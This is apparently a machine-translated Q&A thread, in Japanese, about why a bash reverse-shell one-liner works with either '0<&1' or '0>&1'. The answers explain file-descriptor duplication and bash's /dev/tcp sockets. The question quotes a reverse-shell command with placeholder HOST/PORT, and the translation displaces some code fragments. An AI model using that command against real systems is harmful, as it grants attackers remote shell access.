私はこれを見つけたときにbashからリバースシェルを取得する方法を探していました:
bash -i > /dev/tcp/HOST/PORT 0<&1 2>&1
私が理解しているように、stdoutとstderrは/dev/tcp/HOST/PORT
接続()を介して送信され、stdinは0<&1
接続()を介して読み取られます。しかし、私が読んだようにここ、0>&1式も有効です。これは私には理解されておらず(私が知っている限り、「>
次のfdに書き込む」と<
「次のfdに読み込む」)、最初の方法でのみ動作するはずです。
私の質問は:私が何かを忘れているのでしょうか、それとも完全に間違っていますか?この入出力リダイレクトの例には、どの内部プロセスが含まれますか?
答え1
<&
構文と構文の唯一の違いは、前者はターゲットファイル記述子が入力用>&
に開いていることを確認し、後者は出力用に開いていることを確認することです。実際の操作はどちらの場合も同じです(おそらくdup2
呼び出し)。また、ほとんどのリダイレクトが> /dev/tcp/HOST/PORT
システムコールを実行するのとは異なります。open
構文/dev/tcp
は bash の特殊なケースであり、実際に bash はソケットを開きます (その後、通常のファイル記述子 wrt のように動作してread
呼び出さwrite
れます)。ソケットには、ファイルを開くなどの読み取り専用または読み取り専用の属性はありません。ソケットは読み書きを許可します(shutdown(2)
必要に応じてその半分を選択できます)。したがって、bashは使用されている両方の構文でリダイレクトエラーを受け取らず、呼び出しがdup2
同じであるため、動作も同じです。
答え2
はい。<
>
に適用されたときに話す内容を示しますopen()
。ただし、既存のファイル記述子を使用する場合はこれを行わないでください。すでにopen()
削除されています。したがって、シェルがすでに取得したファイル記述子の読み取り/書き込み属性を変更せずに変更するだけであるため、どのフラグを使用するかは重要ではありませんdup()
。
だから...
{ read v <&4; } 4>/dev/null
read: read error: 0: Bad file descriptor
しかし...
{ read v 0>&4; } 4</dev/null
...まったく文句はありません。
上記の両方の例では、ファイル記述子が正常にコピーされました。シェルはうまく機能するので、fdレプリケーションについて文句を言うことはありません。これは基本的に以前と同じ苦情です。
{ echo hi there; read v; } 0>/dev/null
hi there
read: read error: 0: Bad file descriptor
read
ファイル記述子0から読み取ろうとすると、EBADFを受け取るために苦情が表示されます。 2番目の例では&4
stdinへの書き込み専用を正常に実行したように、シェルは最初の例ではstdinに正常にコピーします。open()
実際、fd dup の文脈では、<
and>
表示は完全には関係ありません。なぜなら、<&[num]
andはまだandもちろんの略語であるからです>&[num]
。0<&[num]
1>&[num]